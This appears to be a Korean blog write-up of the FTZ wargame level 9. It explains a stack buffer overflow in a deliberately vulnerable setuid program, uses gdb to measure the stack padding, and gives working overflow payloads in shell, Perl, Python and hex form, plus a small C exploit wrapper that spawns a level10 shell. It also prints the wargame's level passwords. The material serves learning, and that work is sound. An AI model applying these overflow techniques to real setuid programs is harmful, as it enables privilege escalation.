■ Level9 -> Level9
■ 목적
버퍼오버플로우(BOF, Buffer Overflow)소개
버퍼오버플로우 기법을 이해하기 위해 메모리의 값을 조작하는 방법
Stack Buffer Overflow (지역변수 활용) - 쉽고 복잡하게 구성
Heap Buffer Overflow (메모리 할당) - 어렵고 단순하게 구성
■ Level9 풀이
level9 사용자 로그인
-> ID/PASS : level9/apple
$ cat hint
다음은 /usr/bin/bof의 소스이다. #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(){ char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); } } 이를 이용하여 level10의 권한을 얻어라.
/usr/bin/bof의 소스가 나오면서 이를 이용하여 level10의 권한을 얻으라고 한다.
아주 기본적인 버퍼오버플로우 취약점 소스코드 이다.
fget = buffer over flow 이렇게 생각하면 쉽다.
메모리상에 Ret를 조작하는 기법이 BOF의 핵심이다.
즉 메모리값을 변조하는 것이라고 볼 수 있다.
메모리 구조
-------------------------------------+
주소값 ㅣSFP l RET l argc l argv l env l
-------------------------------------+
ebp
[참고] 버퍼오버플로우 gdb 사용시
메모장을 활용하여 b.p를 핵심 코드에 걸어 자세하게 분석본다.
■ 힌트 소스분석
#include <stdlib.h>
#include <unistd.h>
main() {
char buf2[10]; <-- char 형으로 buf2 배열선언 10byte
char buf[10]; <-- char 형으로 buf 배열선언 10byte
printf("if cna be overflow : "); <-- 해당 문장출력
fgets(buf,40,stdin); <-- 입력받은 값을 buf에 저장하는데 크기는 40byte 이하
if ( strncmp(buf2, "go", 2) == 0 ) <-- buf2의 앞 2byte와 "go"를 비교하고 같으면
{
printf("Good Skill!\n"); <-- 해당 문장출력
setreuid( 3010, 3010 ); <-- 해당 UID의 권한을 부여(Level 10)
system("/bin/bash"); <-- "/bin/bash" 명령을 실행
해당 소스를 보면, 결과적으로 buf2의 앞 2byte에 go라는 문자가 있어야 문제를 해결할 수 있음을
알려준다.
그리고 입력은 buf에만 할 수 있게 코딩 되어 있다.
그러나 이미 if can be overflow 라는 힌트가 있고 buf 배열은 10byte로 설정되있으나 입력 받아서 buf에 저장하는
최대크기는 40byte로 4배가 더 크다.
버퍼 오버 플로우(Buffer of flow)
해킹 기법중 하나로 오버플로우를 해석해보면 넘쳐 흐르다 로써 버퍼 오버플로우는 데이터를 저장할때,
정해진 메모리 공간을 넘어 다른 인접 메모리공간에 저장하여 오류를 내거나 취약점이 생기게 하여
비 정상적인 작동을 하게 한다.
예방을 위해서는 각 데이터가 들어갈 메모리의 위치를 검사하는 것이다. 위 코드에서 버퍼 오버플로우를
방지하기 위해서는 입력받는 문자의 크기를 10으로 제한해주거나 버퍼경계 검사를 실시하는 것 이다.
버퍼오버플로우에 대해서
[스택의 구조]
----------------------------------------------------------+
buffer1[10] ㅣ buffer2[10] ㅣSFP l RET l argc l argv l env l
----------------------------------------------------------+
buffer1 확대
------------------------------------------------+
buffer1 l
------------------------------------------------+
buffer1 확대x2
<-----------------------------------------buferf1--------------------------------------------->
|
|
|
|
|
|
|
|
|
|
값을 입력 받아 buf에 값을 저장하게 되는데 0123456789를 입력했을 경우
<-----------------------------------------buffer----------------------------------------------->
0 |
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
buffer 공간보다 더 많이 값을 입력해 버퍼 오버플로우를 발생시킨 경우
<-------------------buffer---------------------><------------------buffer2--------------------->
0 |
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
g |
o |
|
|
|
|
|
|
|
|
그러면 12byte를 입력한다면?? buf의 공간이 10인데 어떻게 12byte를 입력하는가
level9의 소스에서 buf 배열은 10개 인데 40개 까지 받을수 있으니 bof가 발생하는 환경을 구성했다.
buf2 에 앞 2byte에 go라고 쓰면 level10의 권한으로 쉘을 실행 시킨다고 되어 있다.
fgets(buf,40,stdin);
12byte를 입력해서 쉘을 얻는 동작 수행.
$ /usr/bin/bof
It can be overflow : 0123456789go
$
변화가 없다. 그 이유는 버퍼와 버퍼사이 쓰레기값(dummy)이 존재하기 때문이다.
<-------------buffer---------------><--dummy--><------------------buffer2--------------------->
0 |
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
g |
o |
|
|
|
|
|
|
|
|
|
|
|
|
dummy값이 얼마인지는 알 수 없지만 dummy값이 존재하기 때문에 buf2 앞 2byte까지 닿지 않았기
때문에 코드가 정상적으로 실행 되지 않은 것이다.
따라서 1byte씩 증가시켜 입력값을 넣으면 buf2 의 앞 2byte 자리에 닿는 순간이 올 것이고
그렇다면 코드가 정상적으로 작동하여 쉘권한을 얻을 수 있다.
■ dummy공간의 여부를 확인하는 방법
위 hint 소스에 dummy값의 여부를 확인하는 코드를 작성하여 라인에 추가한다.
$ vi bof.c
#include <stdlib.h>
#include <unistd.h>
main()
{
char buf2[10];
char buf[10];
printf("It ca be overflow : ");
fgets(buf, 40, stdin);
printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2); <--라인 추가(더미공간 여부 확인)
%x 16진수, %p 주소형태로 표시
if(strncmp(buf2, "go", 2) == 0) 0x%x
{
printf("Good Skill!\n");
setreuid(3010, 3010);
system("/bin/bash");
}
}
$ gcc -o bof bof.c
$ ./bof
&buf=0xbffff760, &buf2=0xbffff770
계산기를 사용하여 10진수로 계산해보면
0xbffff760 - 0xbffff770 = 0x00000010 => 16byte 만큼 떨어져 있다.
(주의) 스택은 높은 주소에서 낮은 주소로 저장된다.
------------------------------------------
buffer l dummy l buffer2 l
------------------------------------------
----------------------------
l dummy l buffer2 l
----------------------------
buffer - buffer2 = <------ 16 byte ---------->
------------------------------------------
buffer l dummy l buffer2 l
------------------------------------------
<---10byte----><--6byte--><---10byte---->
여기서 하나 알아둬야 할 것은 hint내용중 총 버퍼의 크기를 40byte 이하로 저장한다고 했다.
[스택의구조] 중요
----------------------------------------------------------------+
10 l 6 l 10 l ? l 4 l 4 l 4 l 4 l 4 l
buffer l dummy l buffer2 l dummy l SFP l RET l arg l argv l *ENN l <--arg,argv,*ENN 고정된값
----------------------------------------------------------------+
<--------------40byte------------------>
buffer 부터 RET 까지 총 40byte로 구성이 된다.
따라서 buffer2 다음의 dummy 값도 알 수 있다.
SFP 부터 *ENN은 모두 4byte로 구성되어 있기 때문이다.
따라서 1byte씩 집어넣어 찾을 필요가 없다.
<--------------buffer[10]-----------><-----dummy[6]-----><------------buffer2------------->
0 |
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
0 |
a |
b |
c |
d |
e |
g |
o |
|
|
|
|
|
|
|
|
더미공간 여부의 확인과 그 값의 크기를 찾는다면.
스택의 구조를 정확하게 파악할 수 있다.
$ /usr/bin/bof
Good Skill!
[Level10@ftz level10]$id
$ my-pass
해킹은 흥미롭다.
■ 의사코드
$ ls -l /usr/bin/bof
리드 권한이 없다. 따라서 hint에서 나오는 소스 코드를 복사해 직접 만들고 디버깅을 실시한다.
$ gdb /home/level9/tmp/bof
(gdb) disass main Dump of assembler code for function main: 0x08048420 <main+0>: push %ebp 0x08048421 <main+1>: mov %esp,%ebp 0x08048423 <main+3>: sub $0x28,%esp 0x08048426 <main+6>: and $0xfffffff0,%esp 0x08048429 <main+9>: mov $0x0,%eax 0x0804842e <main+14>: sub %eax,%esp 0x08048430 <main+16>: sub $0xc,%esp 0x08048433 <main+19>: push $0x804856c 0x08048438 <main+24>: call 0x8048350 <printf> 0x0804843d <main+29>: add $0x10,%esp 0x08048440 <main+32>: sub $0x4,%esp 0x08048443 <main+35>: pushl 0x80496c8 0x08048449 <main+41>: push $0x28 0x0804844b <main+43>: lea 0xffffffd8(%ebp),%eax 0x0804844e <main+46>: push %eax 0x0804844f <main+47>: call 0x8048320 <fgets> char *fgets(char *s, int size, FILE *stream); 0x08048454 <main+52>: add $0x10,%esp 0x08048457 <main+55>: sub $0x4,%esp 0x0804845a <main+58>: lea 0xffffffe8(%ebp),%eax 0x0804845d <main+61>: push %eax 0x0804845e <main+62>: lea 0xffffffd8(%ebp),%eax 0x08048461 <main+65>: push %eax 0x08048462 <main+66>: push $0x8048581 0x08048467 <main+71>: call 0x8048350 <printf> 0x0804846c <main+76>: add $0x10,%esp 0x0804846f <main+79>: sub $0x4,%esp 0x08048472 <main+82>: push $0x2 0x08048474 <main+84>: push $0x8048598 0x08048479 <main+89>: lea 0xffffffe8(%ebp),%eax 0x0804847c <main+92>: push %eax 0x0804847d <main+93>: call 0x8048330 <strncmp> int strncmp(const char *s1, const char *s2, size_t n); 0x08048482 <main+98>: add $0x10,%esp 0x08048485 <main+101>: test %eax,%eax 0x08048487 <main+103>: jne 0x80484be <main+158> 0x08048489 <main+105>: sub $0xc,%esp 0x0804848c <main+108>: push $0x804859b 0x08048491 <main+113>: call 0x8048350 <printf> 0x08048496 <main+118>: add $0x10,%esp 0x08048499 <main+121>: sub $0x8,%esp 0x0804849c <main+124>: push $0xbc2 0x080484a1 <main+129>: push $0xbc2 0x080484a6 <main+134>: call 0x8048360 <setreuid> int setreuid(uid_t ruid, uid_t euid); 0x080484ab <main+139>: add $0x10,%esp 0x080484ae <main+142>: sub $0xc,%esp 0x080484b1 <main+145>: push $0x80485a8 0x080484b6 <main+150>: call 0x8048310 <system> int system(const char *string); 0x080484bb <main+155>: add $0x10,%esp 0x080484be <main+158>: leave 0x080484bf <main+159>: ret End of assembler dump. (gdb) b *0x0804847d Breakpoint 1 at 0x804847d (gdb) run Starting program: /home/level9/tmp/bof It ca be overflow : AAAAAAAAAABBBBBBgo A=10개, B=6개, go &buf=0xbffff260, &buf2=0xbffff270 <-- 더미 크기를 확인하기 위한 라인 추가
Breakpoint 1, 0x0804847d in main () (gdb) x/s 0xbffff260 0xbffff260: "AAAAAAAAAABBBBBBgo\n" buf의 내용 (gdb) x/s 0xbffff270 0xbffff270: "go\n" buf2의 내용 (gdb) continue Continuing. Good Skill! |
$ ps (기존의 코드가아닌 새로 작성한 코드이기 때문에 level10의 권한은 있지 않지만 정상 작동한다.)
PID TTY TIME CMD
24425 pts/3 00:00:00 bash
24664 pts/3 00:00:00 gdb
24665 pts/3 00:00:00 bof
24672 pts/3 00:00:00 bash
24698 pts/3 00:00:00 ps bof 안에 들어있는 bash쉘 상태
프로그램이 아직 끝나지 않은 상태
$ pstree 24665
gdb---bof---bash---pstree
$ exit
exit
Program exited normally.
(gdb) quit
■ 여러가지 쉘(shell) 스크립트를 통해 문자열을 입력해 보기
# for i in `seq 1 16`
> do
> printf "A"
> done
# printf "go\n"
# for i in `seq 1 16`
> do
> printf "A"
> done ; printf "go\n"
$ for i in `seq 1 16`; do printf "A"; done ; printf "go\n"
$ (for i in `seq 1 16`; do printf "A"; done ; printf "go\n" ; cat) | /usr/bin/bof
whoami
level10
id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
my-pass
Level10 Password is "interesting to hack!".
exit
<ENTER>
■ 펄(Perl)스크립트를 통해 문자열을 입력해 보자.
$ perl -e 'print "A"x16,"go"'
-e옵션을 붙혀준다.
-print명령어 사용하고 콤마로 연속적으로 사용한다.
-x16이 곱하기 형식이다.
$ (perl -e 'print "A"x16, "go"'; cat) | /usr/bin/bof
<ENTER>
It can be overflow : Good Skill!
whoami
level10
id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
my-pass
Level10 Password is "interesting to hack!".
exit
<ENTER>
■ 파이썬(Python) 스크립트를 통해 문자열을 입력해 보자.
$ python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof
-c옵션을 사용
-*가 곱하기 의미
-콤마가아닌 +를 붙혀줘서 연속적인것을 표현
$ (python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof
<ENTER>
It can be overflow : Good Skill!
whoami
level10
id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
my-pass
Level10 Password is "interesting to hack!".
exit
<ENTER>
■ 루비(Ruby) 스크립트를 통해 문자열을 입력해 보자.
루비(Ruby)란?
일본에서 만들었으며, 파이썬의 기반을 가져있고 펄 신텍스를 따왔다. php 해석기 방식이 빠르게 동작하거나 코드가 간단했다. API를 개별적으로도 사용하고 전체를 사용할 수 있는 더 효율적인 방법. 기존의 API를 묶어서 더 빠르게 프로그래밍을 하기 위해서 만들었다. 지금도 웹쪽에서는 강력하게 사용되고 있다.
(주의) HackMe 시스템에는 ruby 설치 되어 있지 않다.
$ (ruby -e 'print "A"*16+"go"'; cat) | /usr/bin/bof
■ 16진수로 문자열을 입력 # export LANG=C # man ascii Oct Dec Hex Char Oct Dec Hex Char ------------------------------------------------------------ 047 39 27 ' 147 103 67 g 050 40 28 ( 150 104 68 h 051 41 29 ) 151 105 69 i 052 42 2A * 152 106 6A j 053 43 2B + 153 107 6B k 054 44 2C , 154 108 6C l 055 45 2D - 155 109 6D m 056 46 2E . 156 110 6E n 057 47 2F / 157 111 6F o $ printf "AAAAAAAAAABBBBBB\x67\x6f\n"
AAAAAAAAAABBBBBBgo
$ for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"
AAAAAAAAAABBBBBBgo |
$ (for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"; cat) | /usr/bin/bof
It can be overflow : Good Skill! id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass
Level10 Password is "interesting to hack!".
exit <ENTER> |
■ Exploit code (공격용 코드)
$ vi Attack_Bof.c
#include <stdio.h>
#define VICTIM "/usr/bin/bof" #define DEFAULT_BUFFER_SIZE 100 define - 전역변수
char cmdBuf[DEFAULT_BUFFER_SIZE];
int main() { sprintf(cmdBuf, "(for i in `seq 1 16`; do printf \"A\"; done; printf \"go\"; cat ) | %s", VICTIM); system(cmdBuf);
return 0; } |
$ gcc -o Attack_Bof Attack_Bof.c
$ ./Attack_Bof
<ENTER> It can be overflow : Good Skill! id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass
Level10 Password is "interesting to hack!".
exit <ENTER> |
'Learning > └◆Reversing' 카테고리의 다른 글
[참고]공유 메모리 관련 함수 (0) | 2017.01.30 |
---|---|
10_Level10 -> Level11[FTZ] 공유 메모리에 데이터를 읽고 쓰기 (0) | 2017.01.29 |
[참고] 버퍼 오버 플로우 (0) | 2017.01.29 |
[참고]변수의 메모리 배치 확인 및 GDB 사용법 (0) | 2017.01.29 |